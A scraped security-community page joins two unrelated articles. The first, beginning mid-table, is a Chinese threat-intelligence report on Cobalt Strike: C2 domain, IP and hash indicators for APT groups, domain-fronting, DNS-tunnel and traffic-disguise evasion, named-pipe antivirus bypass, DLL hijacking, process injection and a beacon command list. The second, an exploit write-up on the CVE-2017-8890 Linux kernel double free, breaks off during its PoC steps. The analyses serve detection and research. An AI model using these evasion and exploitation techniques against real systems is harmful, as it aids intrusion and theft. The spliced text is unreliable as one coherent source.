365live.azureedge.net | bfc93e18fad9f7bb93163ed70f527e88
**……** |
表3 CDN技术示例
#### 3.2.3 域前置+CDN技术
域前置(Domain Fronting)的核心思想是在不同通信层使用不同的域名，在基于Domain
Fronting的HTTP(S)请求中，DNS查询以及SNI携带一个合法域名(前域)，而在HTTP
Host头中携带另一个域名(隐蔽或被禁止访问的域名C&C)，当请求被发送给合法域名后会由相应云服务解析并转发至隐蔽域名，使其不以明文暴露给网络审查者，从而隐藏攻击者的真实C&C。技术说明如图7所示。
图7 Domain Fronting技术
起初我们并未能发现这类技术的运用，但是样本C&C中出现的大量合法白域名非常可疑。在进一步逆向分析后，我们发现这些样本请求包的Host字段指向了一些与C&C不同的域名，即使用了域前置技术。域前置技术在CDN等重要的基础设施和各类云服务中尤其适用，虽然部分厂商已停止支持域前置功能，但技术思路可以引伸触类。从统计结果来看，约有10%的域名样本采用了域前置技术，其中隐蔽域名使用较多的云服务厂商包括微软(Microsoft
Azure)、亚马逊(Amazon CloudFront)和谷歌(Google App
Engine)等，合法域名则通常可以从相关CDN子域进行寻找，攻击者常采用一些知名网站或网络安全公司相关的域名来逃避检测，部分示例如表4所示。
**前域（合法域名）** | **Host** **(隐蔽域名)**
---|---
do.skype.com | fastflowers.azureedge.net
mscrl.microsoft.com,software-download.office.microsoft.com,ajax.microsoft.com
| wsus-update.azureedge.net
ajax.microsoft.com, cdn.wallet.microsoft.com | ms-cloud.azureedge.net
crl.paloaltonetworks.com | d1ol1waxbvmde2.cloudfront.net
status.symantec.com | dul0hrsepuj7q.cloudfront.net
www.asisupportforums.com | dc5plq2mqf9wk.cloudfront.net
www.google.ca, mail.google.com,calendar.google.com | assets54721.appspot.com
www.google.com | translateserviceupdate.appspot.com
www.google.com,mail.google.com | img371935.appspot.com
**……** |
表4 Domain Fronting技术示例
#### 3.2.4 DNS隧道技术
DNS隧道是隐蔽信道的一种，通过将其他协议封装在DNS协议中，然后利用DNS查询过程进行数据传输。由于大多数防火墙和入侵检测设备会放行DNS流量，故可以利用放行特点和协议解析流程进行隧道攻击，将恶意流量隐藏在DNS协议中逃避流量检测。
在整理冗余C&C样本（包含多个备用C&C域名）的过程中，我们发现了一些疑似DNS服务器NS（Name
Server）记录地址的域名，例如ns1.microsoftonlines.net、ns1.fackbook.gq、ns5.thepatestid.online等等。通过更深入的逆向分析和特征提取，确认这些样本使用了DNS隧道技术。从统计结果来看，约有15%的域名样本采用了DNS隧道技术进行通信，且大多数攻击者会设置多个域名服务器NS记录来提高连接的可靠性，同时结合域名仿造技术进行伪装，即使用户查看流量也难以察觉。相关样例如表5所示(更加详细的DNS隧道分析可参考技术分析章节内容)。
C&C | Hash
---|---
dns2.loocallhosts.com,dns.loocallhosts.com,dns3.loocallhosts.com |
ebd2381b811c38efbb706c2a8ebfb55c
img.statcontent.co,content.statcontent.co | 4ebe65ad6598d6903253dd4461c46e7d
hus1.ptps.tk,hus2.ptps.tk,hus3.ptps.tk | e51ed5e2df75c3663eecac61db3493b4
ns5.thepatestid.online;ns5.thepatestid.online |
7d816e122b0d07682b222eaadb66aa51
ns1.fackbook.gq,ns2.fackbook.gq,ns3.fackbook.gq |
fec4bc410bedc904d3967c910a7e92d5
ns1.ssz4v.com,ns2.ssz4v.com,ns3.ssz4v.com | 9ea8353ce4c98df601cbb15ac303ea88
ns1.aeo22662.xyz,ns2.aeo22662.xyz,ns3.aeo22662.xyz |
1a5c192915669d87942f7f8b1f6cbf3e
ns1.microsoftonlines.net,ns2.microsoftonlines.net |
85b87c8933a0f8f128467ae34928f97f
**……** |
表5 DNS隧道技术示例
#### 3.2.5 流量伪装技术
流量伪装技术是指借助Cobalt
Strike的Malleable-C2-Profiles配置文件自定义通信流量规则对抗流量检测的技术。攻击者通过加载定制的配置文件（如amazon.profile、jquery.profile等模板）来改变目标主机与Server端的流量特征，将HTTP通信流量伪装成正常Web流量或加密混淆流量，从而达到通信隐匿的效果。
在提取域名样本连接请求的Host字段特征时，我们除了挖掘到使用Domain
Fronting技术的样本，还发现了大量使用此类流量伪装技术的样本。其在域名样本中的使用占比超过21%，也是攻击者运用最多的伪装技术。该类样本的Host字段通常会由配置文件设置为指定的Web域名以模拟相关请求，常见的请求包括Amazon、Jquery、Bing等，更多的样例如表6所示。
**C &C** | **Host**
---|---
informedia.info | code.jquery.com
greatdirectmail.com | code.jquery.com
olosirsch.com | www.amazon.com
ssl2.blockbitcoin.com | www.amazon.com
update.microsoft-update-ru.com | www.bing.com
f.cdn-global.com | www.espn.go.com
cache.violet-cdn.com | en.wikipedia.org
thedivineshoppe.com | www.fidelity.com
iosios1937cn.firedog.ml | www.firedog.com
http.pc-rekcah.com | www.hulu.com
**……** |
表6 Malleable-C2-Profiles流量伪装技术示例
通常来说，如果是针对特定目标的攻击，攻击者还会根据目标机器存在的网络环境、通信软件、常用网站等来伪造流量特征，Host设置的内容则可能与相应域名有关。从Host统计来看，部分域名指向了fidelity（富达投资-金融服务公司）、ESPN（娱乐与体育节目电视网）、Firedog(小型发动机动力设备制造商)、Hulu（流媒体服务商）在内的多家商业服务公司，黑客的攻击目标也很可能会与相关公司或服务的使用群体有关。此外，黑客还可以借助Malleable-C2-Profiles配置文件模仿其它恶意软件的通信协议，从而达到掩盖、伪装自身的行动目的，欺骗流量检测系统。
显然，这些隐匿技术给审查机构和溯源分析者带来了极大的困难，随着攻击者越来越多的使用类似技术，从情报端(威胁情报分析平台)到防御端(IDS、IPS等终端防御系统)都将面临更加严峻的挑战，也迫切需要更加强大的特征指纹、流量分析及关联分析能力。
### 3.3 版本和特征探测
目前，对于防御方来说，除了通过威胁情报平台的IOC特征进行关联分析，还可以借助一种特征探测的手段对Cobalt
Strike服务器进行识别和追踪。该规则由安全公司Fox-IT提出，由于Cobalt Strike的 "Team Server"
基于开源Web服务器NanoHTTPD,可通过NanoHTTPD Servers在其HTTP响应中返回的多余“空白符”特征识别Cobalt
Strike服务器，此特征可影响Cobalt
Strike服务器3.13版本之前的所有旧版本。因此，如果能够获取近期大量样本的对应版本，就能够在一定程度上反映出各版本的使用率，同时推测当前该特征识别对于Cobalt
Strike服务器的影响程度。进一步收集和分析后，我们发现Cobalt
Strike的版本众多，其中部分版本的母体样本存在编译时间重叠，而其payload的编译时间则相对独立准确，且不会随母体样本生成而改变，故可解密提取样本的payload编译时间来归类其所属版本，编译时间轴如图8所示。
图8 payload编译时间轴-样本数
我们针对目前传播较广的几类Cobalt
Strike版本进行了收集，并提取了对应木马的payload编译时间，相关数据与图8展示的实际编译时间分布基本相符。值得注意的是，这几类版本均存在破解版，也间接表明Cobalt
Strike的大量用户可能是非商业付费人群。
**Cobalt Strike版本** | **payload编译时间** | **数量**
---|---|---
Cobalt Strike 3.6 | 2016/12/08 | 350
Cobalt Strike 3.8 | 2017/05/23 | 281
Cobalt Strike 3.12 | 2018/09/06 | 212
Cobalt Strike 3.13 | 2018/12/29 | 222
Cobalt Strike 3.14 | 2019/04/19、2019/05/04 | 90
Cobalt Strike 4.0 | 2019/12/05 | 115
表7 Cobalt Strike版本及对应信息
为了更好的反映各版本的流行程度，我们将相关版本的捕获数量与时间进行了关联统计（以此批样本为例，仅体现变化趋势），如图9。
图9 Cobalt Strike各版本样本捕获时间折线图-样本数
从各版本的流行趋势来看，虽然历次的版本更新都会造成前期版本一定程度的用户流失，但旧版本始终保有相对稳定的用户量。参考2020年3月的数据情况，已有大量攻击者开始采用Cobalt
Strike
4.0实施攻击，但3.13之前的旧版本使用量占比仍然有23%。可见，部分使用者不会及时更新或倾向于使用已有的破解版本，因此未来通过旧版本服务器发动攻击的现象可能长期存在，该特征检测规则对于打击恶意活动方面仍具有一定的价值。
### 3.4 框架使用者
那么，究竟是哪些人员或组织在使用Cobalt Strike框架呢？我们针对这批Cobalt
Strike样本的IOC进行了更加深入的溯源，结合关联样本的出现时间、技术运用、攻击链条以及公开的研究报告等资料，发现了多个著名的攻击团伙和APT组织，关联信息如表8所示。
**Groups** | **Cobalt Strike C &C** | **Hash**
---|---|---
**Darkhydrus** | update.cisc0.net, developer.cisc0.net, res.cisc0.net |
7a4f8fffb1041bf6b19f76ded41b90b616f733b00e7957fbc94c4ea120f1903de999963fc3654937
**CopyKittens** | cloud-analyzer.com, fb-statics.com, mpmicrosoft.com,
officeapps-live.org, cachevideo.online, fbstatic-akamaihd.com, mcafee-analyzer.com | af18959b5204853ef347fb05b518fca26a08ae57
**Leviathan** | www.thyssenkrupp-marinesystems.org |
1875db18a7c01ec011b1fe2394dfc49ed8a53956
**Cobalt Group** | 46.21.147.61, helpdesk-oracle.com |
8c6a264d5fd2d9f9d93d5350fccd52046b5007d2
5.135.237.216 | 1232a214b510a6b306e51a166c19fad5ac63bfc8 |
86.106.131.207 | ba4d490c97a7ba6a2d7f374919e56bd3f6fd88d9
99210a1bd725ebedb3a0cb5420e466069794300e
8fb192e336f83bf17d6bbb931de97d168e584239 |
104.144.207.207 | cc794e4a1f7e23008e6e648b1aacb87db446fc98 |
176.9.99.134 | 1f50d16316c9896e3ea8cb5e8cfee195bc4aa92b
5b2f84580c863d6482d05c79ef7d7169bde2593f |
52.15.209.133 | fe61c78a331e82d4ed8e8fe975fb0e14384ab2c0 |
206.189.144.129 | 46742e6096cd417ea6b2803ec4b5d0a5f1dfe4f0 |
**FIN7** | 165.22.71.42 | 009c97361fdc7d912c4154ab7c739b606b5bf79d
**Bokbot** | 185.82.202.214 | 343f1e5e072887d7b77375028999d078ac7ccdca
**APT10** | 95.128.168.227 | 5122094dbd6fc8d3da0acfa02234104d927f27c6
**APT19** | autodiscover.2bunny.com | 7b0d8394b32cb59c59e4ac9471dba676678fd91a
**APT29** | pandorasong.com |
9858d5cb2a6614be3c48e33911bf9f7978b441bfa968c95ee054af28e88edb77c60e8c035de97237
**APT32** | officewps.net | 5c0ad0af431ca32d0050052c17eb8c72a2ad8a43
api.blogdns.com | 3e65b4fefa92cbf3e146a096eaa0aeec5c1be42a |
load.newappssystems.com | 78c549a7f4119aa876763426e6f76be3d4f43dd3 |
表8 攻击组织IOC信息
这些组织善于借助域名仿造、多级跳板、DNS隧道、流量伪装等技术手段隐蔽自身。其中，很多组织都热衷于使用DNS隧道攻击，以绕过防火墙或IDS的流量检测，且其域名往往会精心伪装设计，即使用户查看流量也难以辨别。使用Cobalt
Strike频率较高的组织则是Cobalt
Group和APT32(海莲花)，在它们的多次攻击行动中都能发现相关证据。此外，通过溯源关联和厂商披露，还发现FIN6、BITTER(蔓灵花)、Ordinaff等组织也曾使用过Cobalt
Strike。
不仅是以上披露的攻击组织，我们在样本溯源过程中同样发现了不少红队攻击的案例，后文也将举例进行详细分析。显而易见的是，当前攻防双方都非常热衷于运用该框架进行安全对抗。目前我们发现与Cobalt
Strike有关联的攻击组织已经达到13个，而基于逐渐成熟的C&C隐藏技术和溯源的困难性，这些可能只是未知网络的冰山一角，还有大量隐藏的攻击组织和未知的APT攻击并未得到披露，这也给网络安全秩序的维护提出了更大挑战。
综合以上分析结果，汇总Cobalt Strike框架的在野使用情况如下：
1. 分布情况：这批样本的973个C&C服务器共分布在42个国家和地区，Cobalt Strike使用群体广，分布范围大。
2. 端口使用情况：443(https)、80(http)和8080端口的使用率较高。
3. 使用人员：黑客组织、红队人员、安全研究人员等。
4. 关联攻击组织：Darkhydrus、CopyKittens、Leviathan、Cobalt Group、FIN7、Bokbot、APT10、APT19、APT29、APT32、FIN6、BITTER、Ordinaff等。
5. C&C域名查杀率：61%的C&C域名VirusTotal未报毒或无关联记录。
6. 隐匿技术：包括域名仿造技术、CDN技术、域前置+CDN技术、DNS隧道技术、流量伪装技术等。
7. 版本使用情况：Cobalt Strike自2012年发布起共经历70余次版本更新，最新版本为Cobalt Strike 4.0，目前其3.6至3.12间的版本用户量依旧不少，相关服务器受NanoHTTPD Servers影响可被特征探测。
## 攻击案例分析
在基于以上数据的情报分析过程中，我们发现了一起以某金融类公司为幌子的攻击案例，该案例最终确认为攻防实战演练的一个红队的攻击活动。本文选择这样一个案例来阐述CS木马的利用手法，并以此为背景，我们来分析和探讨Cobalt
Strike木马所采用的一些特殊技术如管道逃避检测技术、DNS隧道、SMB隧道技术等。
在本攻击案例中，国内一个红队在Github故意投放一些与某金融类公司相关的信息如公司VPN登录网址、账号和密码等敏感信息，以此引诱对该目标感兴趣的对手团队。登录网站为仿冒该金融类公司的钓鱼网站，仿冒网站登录后会诱导对手团队下载页面提供的VPN客户端，一旦对手下载并执行该客户端，便会感染CS木马，成为受控主机。仿冒网站见图10。
图10 木马下载页面
下载得到的VPN客户端名称为“vpnclient.rar”，其中包含有两个文件分别为“vpnclient.exe”和“wwlib.dll”，其中文件“vpnclient.exe”为带有微软签名的word2007官方程序，“wwlib.dll”文件为word程序必加载组件，这里被嵌入了CS木马。这是一种利用合法白文件+DLL劫持的手段进行攻击的技术，此前多个组织如海莲花等都采用过此种技术进行攻击。
图11 木马传播和执行图
当vpnclient.exe运行后，表面上会打开一个名为“vpnclient..docx”的word文档，而背地里则会解密执行shellcode来下载CS的远控模块以执行从C&C传来的恶意指令（整个木马的发现和执行见图11）。经进一步深入分析，该远控模块由beacon模板生成，其包含有丰富功能，如服务扫描、端口转发、多模式端口监听等功能。Cobalt
Strike框架的精髓之处是攻击者可以利用不同的通信方式和C&C服务器通信，我们这里主要介绍其比较有特色的几个功能，分别是基于DNS协议的DNS隧道攻击、基于SMB协议的命名管道内网攻击和基于socks流量代理的内网攻击。同时，Cobalt
Strike框架还可以和Metasploit框架相互配合，来进行联合的网络渗透和内网攻击。
### 4.1借壳启动
该CS木马借用微软官方程序来加载自己核心组件执行，通过利用白文件和DLL劫持的方法来绕过安全检测，以达到落地攻击目标的目的。其中压缩包文件中的文件“vpnclient.exe”可以正常绕过任意安全软件的检查得以执行，但是其运行后会加载同目录下伪装为微软组件“wwlib.dll”的CS木马加载器。当目标运行“vpnclient.exe”后，表面上会打开一个名为“vpnclient..docx”的word文档（该文档是一款名为“VPN
Client”程序的安装和配置操作说明文件，见图12），目的是迷惑受害用户。而背地里，恶意代码则会执行“wwlib.dll”并下载执行CS远控模块，以达到控制对手主机的目的。
图12 用于迷惑受害用户的文档
“wwlib.dll”恶意文件的资源文件包含两部分数据，分别为名为“CODE”的shellcode和名为“WORD”的word文档（见图13）。CS木马运行时，一方面提取“WORD”资源并使用word软件打开来迷惑受害用户，另一方面提取“CODE”资源来解密执行，下载CS远控模块，对受害用户实施网络攻击。
图13 wwlib.dll恶意文件的资源数据
### 4.2 上线分析
远控模块执行后，首先收集感染设备信息，准备上线。远控模块将感染设备的IP地址、管理员账户、计算机名和本进程id等信息（见图14）加密后作为上线包发送到C&C服务器。
图14 收集设备信息
图15是我们模拟C&C服务器，使用Wireshark抓到的上线包，从该上线包中，我们可以看到加密后的信息被伪装成Cookie字段，隐藏在了http协议里面。
图15 抓取到的上线包
命令加密后使用tcp协议发送，部分执行结果则使用http协议进行回传。如下是我们模拟木马命令，使用shell dir
列出感染设备当前目录所抓取到的数据包。从图16中可以看到，命令执行后的结果回传使用了http协议。
图16 控制命令执行后，返回的数据包
### 4.3 远程控制
从CS木马远控模块的控制命令和相关代码的反汇编结果来看（见图17），远控模块包含多种恶意功能。主要包括屏幕截图、键盘记录、socks代理、网络和主机枚举、端口扫描、文件上传和下载、执行powershell命令、提权、注入会话到特定进程以及DNS隧道攻击等（详细的的命令和功能介绍见附录部分）。由以上的分析可知，当对手下载并运行该伪造的“vpn客户端”，打开“vpn安装配置指南”文档研究的同时，红队方的木马已悄悄上线。红队方攻破对手内网后，能够利用该木马窃取对手的作战计划、掌握的工具和利用的漏洞等信息，红队方根据掌握的这些信息，可以有效调整自己的作战策略和应对计划。
图17 控制命令和代码执行
## 对抗技术分析
以上攻击案例中我们仅仅对CS木马从落地到远程控制的过程做了简要分析，在更多的案例中，CS木马还具备更加强大而丰富的安全对抗手段，如逃逸管道技术、DNS隧道、SMB隧道、Socks代理技术以及可定制的代码注入技术等等，这些技术手段的使用在很大程度上不但断提高自身的成活率，增强黑客攻击活动隐秘性，极好的保护黑客自身。本节将对CS使用到的此类技术的实现原理和机制进行详细的分析和讨论。
### 5.1 管道逃逸技术
CS木马使用了管道逃逸技术来躲避安全软件的查杀。该技术利用管道作为恶意代码的暂存通道，在很大程度上避免了安全软件的查杀，通过测试验证，该技术可以绕过很多主流杀毒软件（如360、ESET
Nod32）的安全检查。经我们的安全研究人员多次验证，该技术截至本文撰写时依然有效。CS木马利用管道逃逸技术执行远控模块的实现过程如下。
首先新起一个线程创建名为"\\.\pipe\MSSE-594-server"的命名管道（其中594为随机值）如图18，接着木马将长度为0x34200的加密数据写入到该命名管道中，等待后续读取和进一步的解密，写入的加密数据见图19。
图18 创建命名管道，写入加密数据
图19 加密数据
睡眠1024毫秒后，木马从前面创建的命名管道中读取加密数据，见图20。
图20 从命名管道读取数据
在解密数据之前，木马首先申请一段内存空间，用于存放解密后的payload，见图21。
图21 申请内存空间
木马将读取到的加密数据，每4个字节为一组，依次和整形数据0x1aa64991（不同的样本该数值会有不同）异或，异或运算后的值即为解密数据，最终解密出CS远控模块文件。
图22 解密数据
通过解密后的数据可以看出，该CS远控模块文件为Windows平台的PE文件，如图23。
图23 CS远控模块文件
CS木马在解密完远控模块后，将远控模块所在的内存属性修改为rx，并使用函数CreateThread执行远控模块代码，实现对感染机器的攻击和远程控制，如图24：
图24 启动线程执行CS远控模块
### 5.2 DNS隧道
DNS隧道是将其他的协议内容封装在DNS协议中，然后利用DNS查询过程来进行数据传输的技术。CS支持使用DNS隧道技术来和C&C服务器通信以应对复杂的网络环境。如图25，封装后的流量通过DNS递归查询，最终到达C&C服务器解密。同样，来自C&C服务器的指令也可以通过这种方式顺利下发到受控端。使用DNS隧道技术可以有效躲避防火墙、IDS、IPS等传统网络安全设备的检测（因为这些设备很难做到对DNS流量的友好规则控制），大大提高了渗透测试或攻击的隐蔽性。
图25 DNS隧道攻击
图26是一个使用DNS隧道模式进行通信的数据包，从图中我们可以看到，控制端发送的命令和受控端返回的流量都被隐藏在了DNS隧道中加密传输。
图26 DNS隧道模式通信的数据包
如图27，命令执行完后，受控端将回显信息封装成DNS字符串，通过DNS隧道回传给C&C服务器。
图27 回显信息加密传输
### 5.3 SMB隧道
CS支持内网主机之间使用基于SMB协议的 Beacon 来进行数据交换。这允许让一台受感染的计算机与 C&C 服务器进行正常的 beacon
连接，并使内部网络上的所有其他的服务器通过 SMB
协议与最初受感染的主机进行通信。如图28，在攻击者成功攻破内网主机目标1后再进行内网横向移动，将基于SMB的Beacon木马植入目标2主机。这样目标2上线后，就会通过SMB协议的命名管道和目标1通信，目标1再通过DNS或者HTTP协议将恶意流量转发出去。通过这样，攻击者可以操纵
Beacon
通信，实现让所有来自受感染主机的流量看起来和普通流量无异。采用这种连接方式，当安全管理人员检测到一个二级系统有问题并进行取证分析时，他们可能会无法识别与实际攻击相关的
C&C 服务器域名。
图28 SMB内网渗透
图29是内网中目标2和目标1的通信数据包，从图中可以看到，在完成SMB协议协商和会话后，目标2连接到了目标1的IPC$共享，然后利用该命名管道进行基于SMB协议的数据通信。
图29 SMB通信数据包
### 5.4 Socks代理
Cobalt Strike自带socks代理功能，在攻破组织内网后，beacon socks代理功能可以被用来对目标网络做进一步的内网渗透。如图30，web
server是一个位于内网的web服务器，其仅为组织内部服务。目标1为内网中一台可以访问外网的设备，攻击者在拿到目标1的控制权限后，可以在控制端开启beacon的socks功能，然后利用proxychains等本地代理工具访问webserver内网服务器，对目标组织进行更加深入的渗透攻击。
图30 Socks代理功能
如图31，是目标1通过beacon的socks代理转发给攻击者的内网服务器流量，从图中可以看到，攻击者成功访问了位于组织内部的Web Server服务。
图31 Beacon转发的流量
### 5.5 代码注入技术分析
在分析CS远控模块的过程中，我们发现根据不同的上下文条件，远控模块使用了不同的代码注入技术来实现远程代码的注入（图32为使用了远程线程及APC注入技术）。
图32 恶意代码的注入和执行
CS木马的注入方式是非常灵活的，其可以通过配置文件来进行灵活的配置，从官方博客中我们就可以看到beacon模块的代码注入配置样例。自从Cobalt
Strike更新至3.6版本后，官方给出了一个Malleable-C2，也就是在启动团队服务器的时候加载一些配置文件，Malleable-C2配置文件中的进程注入块（process-inject block）决定了进程注入行为的内容并且控制进程注入行为。
图33 process-inject block
进程注入块是围绕进程注入流程的生命周期组织的，分为以下4步：
图34 进程注入流程
第一步是隐式的，如果生成一个临时进程，例如后开发工作（post-exploitation
job），实际上已经有了对远程进程进行操作的句柄。如果要对现有的远程进程注入代码，恶意payload会使用OpenProcess函数。
对于第二步和第三步，恶意payload有两个选择来分配远程进程中的内存并将数据复制到其中。第一个选择是经典的VirtualAllocEx->WriteProcessMemory模式，另一个选择是CreateFileMapping->MapViewOfFile->NtMapViewOfSection模式。
第四步，这一步之前，要注入的内容已经复制到了远程进程当中，这一步需要做的就是执行这些内容，这就是process-inject->execute块的作用。执行块控制着恶意payload注入代码到进程的方法，恶意payload检查执行块中的每个选项，以确定该选项是否可用于当前上下文，在方法可用时尝试该方法，如果没有执行代码，则继续执行下一个选项。可以看到，执行块中的执行选项包括“CreateThread”、CreateRemoteThread、NtQueueApcThread、NtQueueApcThread
s、RtlCreateUserThread等函数。
CreateThread和CreateRemoteThread函数有一些变体，这些变体使用另一个函数的地址生成一个挂起的线程，更新挂起的线程以执行注入的代码，并恢复该线程。使用[function]”module!function+0x##”指定要欺骗的起始地址。对于远程进程，多使用ntdll和kernel32模块。可选的0x##部分是添加到起始地址的偏移量。这些变体只适用于x86到x86和x64到x64注入。
SetThreadContext和NtQueueApcThread-s函数特定于为恶意payload的后开发作业（Post Exploitation
Jobs）启动临时进程。这些函数会挂起进程的主线程，并使用它执行被注入的后开发恶意功能。
NtQueueApcThread、RtlCreateUserThread和CreateRemoteThread是向远程进程注入代码的常用函数。RtlCreateUserThread函数有一个用于x86到x64注入的实现变体。CreateRemoteThread和RtlCreateUserThread都处理x64到x86注入。所有其他函数包括x86到x86和x64到x64的注入。
Post Exploitation Jobs-很多Cobalt Strike的后开发（post-exploitation）特性（比如屏幕截图、键盘记录、哈希存储等）被实现为Windows的dll。为了执行这些特性，Cobalt
Strike生成一个临时进程，并将这些功能注入其中，进程控制块（process-inject block）控制这一进程注入步骤。后开发控制块（post-ex
block）（见图35）则控制Cobalt Strike后开发特性的特定内容和行为。
图35 post-ex block
下图是我们的研究人员在搭建的Cobalt
Strike攻击环境后，执行恶意命令，受害机器进程的监控情况，从图中可以看到，每当执行一个截图命令或者“spawn”等“后渗透”相关命令，在受害机器上都会新起一个rundll32进程和攻击服务器通信。
图36 后渗透相关功能
## 总结
本文揭秘了Cobalt Strike框架的在野使用情况并深入介绍了相关木马的核心技术。Cobalt
Strike使用者遍布全球，不论是APT组织还是红队人员，都被该框架出色的易用性、可扩展性以及隐匿性所吸引。我们也观察到几类现象，一是越来越多的攻击者开始选择商业软件作为攻击武器，一方面能够降低代码被溯源的可能性，另一方面也可以有效降低攻击成本；二是攻击者越发重视自身的隐蔽性，大量采用了域名仿造、CDN、域前置、DNS隧道、流量伪装等技术对抗检测，而Cobalt
Strike框架本身在通信隐匿方面具有很大的优势，其不仅提供了http、https、dns、smb等多种主流上线协议，还支持自定义通信流量特征，这也促成了其在全世界的广泛流行；三是目前主流的威胁情报平台和检测防御系统面临越来越大的压力，在面对Cobalt
Strike这类隐匿方式多样、对抗手段丰富的攻击武器时，大量未知的APT攻击难以被发现和披露，这也需要持续加强深度有效的特征指纹、流量分析和关联分析等能力，以应对越来越复杂的网络攻击活动。
无论怎样，恶意攻击的关键步骤是传播和落地，防重于治，在恶意攻击造成严重损失后再去修补漏洞显然只是无奈的选择，安全管理最重要的还是对人的管理，需要从源头把好关、“治病于未病”。因此，不管是对于企业还是个人，都应该加强安全意识，不要轻易打开未知来源的邮件和附件，不轻易点击未知链接，不打开不可靠的文档，不执行未知的程序，及时更新系统补丁和应用程序，守住我们的系统和数据安全。
## 附录
beacon命令列表
**命令** | **描述**
---|---
argue | Spoof arguments for matching processes
browserpivot | Setup a browser pivot session
bypassuac | Spawn a session in a high integrity process
cancel | Cancel a download that's in-progress
cd | Change directory
checkin | Call home and post data
clear | Clear beacon queue
connect | Connect to a Beacon peer over TCP
covertvpn | Deploy Covert VPN client
cp | Copy a file
dcsync | Extract a password hash from a DC
desktop | View and interact with target's desktop
dllinject | Inject a Reflective DLL into a process
dllload | Load DLL into a process with LoadLibrary()
download | Download a file
downloads | Lists file downloads in progress
drives | List drives on target
elevate | Try to elevate privileges
execute | Execute a program on target (no output)
execute-assembly | Execute a local .NET program in-memory on target
exit | Terminate the beacon session
getprivs | Enable system privileges on current token
getsystem | Attempt to get SYSTEM
getuid | Get User ID
hashdump | Dump password hashes
help | Help menu
inject | Spawn a session in a specific process
jobkill | Kill a long-running post-exploitation task
jobs | List long-running post-exploitation tasks
kerberos_ccache_use | Apply kerberos ticket from cache to this session
kerberos_ticket_purge | Purge kerberos tickets from this session
kerberos_ticket_use | Apply kerberos ticket to this session
keylogger | Inject a keystroke logger into a process
kill | Kill a process
link | Connect to a Beacon peer over a named pipe
logonpasswords | Dump credentials and hashes with mimikatz
ls | List files
make_token | Create a token to pass credentials
mimikatz | Runs a mimikatz command
mkdir | Make a directory
mode dns | Use DNS A as data channel (DNS beacon only)
mode dns-txt | Use DNS TXT as data channel (DNS beacon only)
mode dns6 | Use DNS AAAA as data channel (DNS beacon only)
mode http | Use HTTP as data channel
mv | Move a file
net | Network and host enumeration tool
note | Assign a note to this Beacon
portscan | Scan a network for open services
powerpick | Execute a command via Unmanaged PowerShell
powershell | Execute a command via powershell.exe
powershell-import | Import a powershell script
ppid | Set parent PID for spawned post-ex jobs
ps | Show process list
psexec | Use a service to spawn a session on a host
psexec_psh | Use PowerShell to spawn a session on a host
psinject | Execute PowerShell command in specific process
pth | Pass-the-hash using Mimikatz
pwd | Print current directory
reg | Query the registry
rev2self | Revert to original token
rm | Remove a file or folder
rportfwd | Setup a reverse port forward
run | Execute a program on target (returns output)
runas | Execute a program as another user
runasadmin | Execute a program in a high-integrity context
runu | Execute a program under another PID
screenshot | Take a screenshot
setenv | Set an environment variable
shell | Execute a command via cmd.exe
shinject | Inject shellcode into a process
shspawn | Spawn process and inject shellcode into it
sleep | Set beacon sleep time
socks | Start SOCKS4a server to relay traffic
socks stop | Stop SOCKS4a server
spawn | Spawn a session
spawnas | Spawn a session as another user
spawnto | Set executable to spawn processes into
spawnu | Spawn a session under another PID
ssh | Use SSH to spawn an SSH session on a host
ssh-key | Use SSH to spawn an SSH session on a host
steal_token | Steal access token from a process
timestomp | Apply timestamps from one file to another
unlink | Disconnect from parent Beacon
upload | Upload a file
wdigest | Dump plaintext credentials with mimikatz
winrm | Use WinRM to spawn a session on a host
wmi | Use WMI to spawn a session on a host
## 参考
1. <https://blog.fox-it.com/2019/02/26/identifying-cobalt-strike-team-servers-in-the-wild/>
2. <https://blog.cobaltstrike.com/category/cobalt-strike-2/>
* * * | 社区文章 |
Author: `thor@MS509Team`
最近一段时间在研究linux kernel的漏洞利用，我们以CVE-2017-8890为例探索了linux kernel的提权过程，以此记录并分享。
## 0x00 测试环境
1. linux kernel 版本：4.10.6 x86_64
2. 调试环境：qemu + linux kernel + busybox + gdb
3. kernel 防护机制： no smep, no smap，no KASLR
4. 主机：Ubuntu 16.04
测试环境我们使用qemu运行linux kernel + busybox的最小化系统，并在Ubuntu主机上通过gdb远程调试linux
kernel，十分便捷。同时，我们为了方便，关闭了内核的SMEP/SMAP、KASLR防护机制。
qemu:
gdb:
## 0x01 漏洞原理
CVE-2017-8890是启明星辰ADLab去年披露的linux kernel double free漏洞，取名Phoenix
Talon，可影响几乎所有Linux kernel 2.5.69 ~ Linux kernel
4.11的内核版本、对应的发行版本以及相关国产系统。我们简单介绍下该漏洞的原理。
我们在socket编程中服务端创建socket时会在内核创建一个`inet_sock`结构体, 暂时称其为sock1：
struct inet_sock {
/* sk and pinet6 has to be the first two members of inet_sock */
struct sock sk;
........
__be32 inet_saddr;
__s16 uc_ttl;
__u16 cmsg_flags;
__be16 inet_sport;
__u16 inet_id;
..........
__be32 mc_addr;
struct ip_mc_socklist __rcu *mc_list;
struct inet_cork_full cork;
};
当服务端调用accept函数接收外来连接的时候会创建一个新的`inet_sock`结构体,
称为sock2。sock2对象会从sock1对象复制一份`ip_mc_socklist`指针，其结构体如下：
struct ip_mc_socklist {
struct ip_mc_socklist __rcu *next_rcu;
struct ip_mreqn multi;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip_sf_socklist __rcu *sflist;
struct rcu_head rcu;
};
此时在内核中存在两个不同`inet_sock`对象，但它们的`mc_list`指针却指向同一个`ip_mc_socklist`对象。此后，当服务端close
socket的时候，内核会free对应的`inet_sock`对象sock1，并同时释放`mc_list`指针指向的那个`ip_mc_socklist`对象。但是服务端在关闭accept创建的`inet_sock`对象sock2时，会再次释放同一个`mc_list`对象，造成double
free漏洞。
该漏洞的原理比较简单，就是在复制对象的时候将指针也一同复制了一份，造成两个指针指向同一对象。因此，漏洞修复也比较简单，直接在复制对象的时候将`mc_list`指针置为NULL即可。
## 0x02 PoC
我们直接在github上找到了一个可以运行的[PoC](https://github.com/beraphin/CVE-2017-8890/blob/master/poc.cpp)，
编译如下：
gcc -static cve.cpp -o PoC -lpthread
运行后内核直接崩溃：
我们在崩溃界面可以看到漏洞的触发路径。
PoC的大致流程如下：
sockfd = socket(AF_INET, xx, IPPROTO_TCP);
setsockopt(sockfd, SOL_IP, MCAST_JOIN_GROUP, xxxx, xxxx);
bind(sockfd, xxxx, xxxx);
listen(sockfd, xxxx);
newsockfd = accept(sockfd, xxxx, xxxx);
close(newsockfd) // first free (kfree_rcu)
sleep(5) // wait rcu free(real free)
